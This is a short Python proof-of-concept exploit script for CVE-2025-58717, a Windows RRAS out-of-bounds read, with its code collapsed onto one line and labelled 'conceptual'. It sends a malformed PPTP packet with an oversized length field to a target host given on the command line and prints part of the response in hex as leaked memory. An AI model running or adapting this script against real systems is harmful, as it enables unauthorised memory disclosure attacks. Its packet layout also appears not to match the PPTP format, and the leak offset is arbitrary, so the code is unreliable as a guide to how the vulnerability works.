CVE-2025-58717

# CVE-2025-58717 - Windows RRAS Out-of-Bounds Read PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach # Actual exploitation requires specific protocol knowledge of RRAS import socket import struct import sys def craft_rras_probe(target_host, target_port=1723): """ Craft a malicious PPTP/RRAS packet to trigger out-of-bounds read. The vulnerability exists in RRAS when processing certain protocol fields with insufficient bounds checking. """ # PPTP Start-Control-Connection-Request packet structure # with malformed length field to trigger OOB read # PPTP header pptp_version = struct.pack('>H', 0x0001) # Version 1 pptp_message_type = struct.pack('>B', 0x01) # Start-Control-Connection-Request reserved = struct.pack('>B', 0x00) # Malicious payload with oversized length field # This triggers the out-of-bounds read in RRAS protocol parser payload_length = struct.pack('>H', 0xFFFF) # Abnormally large length # Construct malformed packet malformed_packet = pptp_version + pptp_message_type + reserved + payload_length malformed_packet += b'\x00' * 256 # Padding to trigger OOB read return malformed_packet def exploit(target_host, target_port=1723): """ Send crafted packet to trigger CVE-2025-58717 Requires user to be connected to or interact with malicious VPN endpoint """ print(f"[*] Targeting RRAS service at {target_host}:{target_port}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) packet = craft_rras_probe(target_host, target_port) sock.send(packet) response = sock.recv(4096) print(f"[*] Response received: {len(response)} bytes") # OOB read may leak adjacent memory contents if len(response) > 0: print(f"[!] Potential information leak detected") # Analyze leaked data leaked_data = response[156:] # Beyond expected response size print(f"[*] Leaked data (hex): {leaked_data.hex()}") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "127.0.0.1" exploit(target)

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